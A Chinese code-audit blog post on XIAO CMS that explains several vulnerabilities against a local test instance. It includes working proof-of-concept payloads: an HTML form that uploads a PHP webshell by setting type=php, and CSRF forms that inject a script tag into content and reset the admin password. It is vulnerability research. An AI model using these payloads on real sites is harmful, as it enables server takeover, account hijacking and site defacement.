[代码审计] XIAO CMS审计

XIAO CMS审计

翻安全客的时候看到xiao cms爆了6个cve审计一下


-w1264

任意目录删除

image

跟进一下database.php
看到action是import找到那个函数
-w637

可以看到 paths 这个post参数并没有对./进行过滤,可以进行任意文件删除,而且payload的paths参数应该是post=。=
放一个自己的目录测试一下
-w546

创建了一个ckj123的目录,试下能不能删除
-w977

-w560

成功

上传任意文件

-w271

很明显的可以看到uploadfile.php文件
找到上传文件的地方

所有的upload需要一个upload函数


-w768

看到他加载了一个叫做upload的类
然后获得了文件最后的扩展名,判断了是图片还是别的文件
跟进upload


-w833

跟进upload类
-w672

里面有个过滤的地方


image

image

获得后缀,跟限制的类型进行比较
-w617

可以看到这个type是需要自己传进去的
-w837

总共两个action
下面那个的type是规定死的
发现上面那个的type是需要自己传进去的这就可以传php文件了
-w962
<html>
    <body>
    <form action="http://127.0.0.1:8080/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="submit" value="submit" />
    </form>
</body>
</html>

CVE给的payload不对。。


-w780

成功了,然后连接一下这个马


-w972

CSRF

他没有判断referer是从哪里来的,可以随意csrf,举两个例子
任意添加一个xss面板

<html>
  <body>
    <form action="http://127.0.0.1:8080/admin/index.php?c=content&a=add&catid=3" method="POST">
      <input type="hidden" name="data[catid]" value="3" />
      <input type="hidden" name="data[title]" value="test" />
      <input type="hidden" name="data[thumb]" value="" />
      <input type="hidden" name="data[keywords]" value="" />
      <input type="hidden" name="data[description]" value="" />
      <input type="hidden" name="data[content]" value="<script>alert(1)</script>" />
      <input type="hidden" name="data[xiao_auto_description]" value="1" />
      <input type="hidden" name="data[xiao_auto_thumb]" value="1" />
      <input type="hidden" name="data[xiao_download_image]" value="1" />
      <input type="hidden" name="data[time]" value="2018-11-02+15:05:43" />
      <input type="hidden" name="data[hits]" value="" />
      <input type="hidden" name="submit" value="提交" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

改管理员的密码

<form action="http://127.0.0.1:8080/admin/index.php?c=index&amp;a=my" method="POST">       
<input type="hidden" name="data[password]" value="1234567">
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>

后记

xss的漏洞没看,以后有空补上,xss要跟的地方太多了=。=,太菜了

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,930评论 0 9
  • Docker介绍 用的是 win10 x64位版本,推荐在powershell下运行(可以解决某些脚本或指令无法运...
    凤梨随笔酥阅读 1,926评论 0 7
  • 为什么最近老是在做代码审计呐?一是想要学习其他优秀开发者的架构和设计模式,二是挖掘一下开发者在开发过程中不严谨之处...
    DYBOY阅读 1,935评论 0 1
  • 晓风来院里,山色入杯中。炎日得凉爽,往事且放空。
    拳毛騧阅读 279评论 0 1
  • 定义:动态的将责任附加到对象上。若要扩展功能,装饰着提供了比继承更有弹性的替代方法类图 定义调料类(Decorat...
    隔壁丨王大爷阅读 202评论 0 0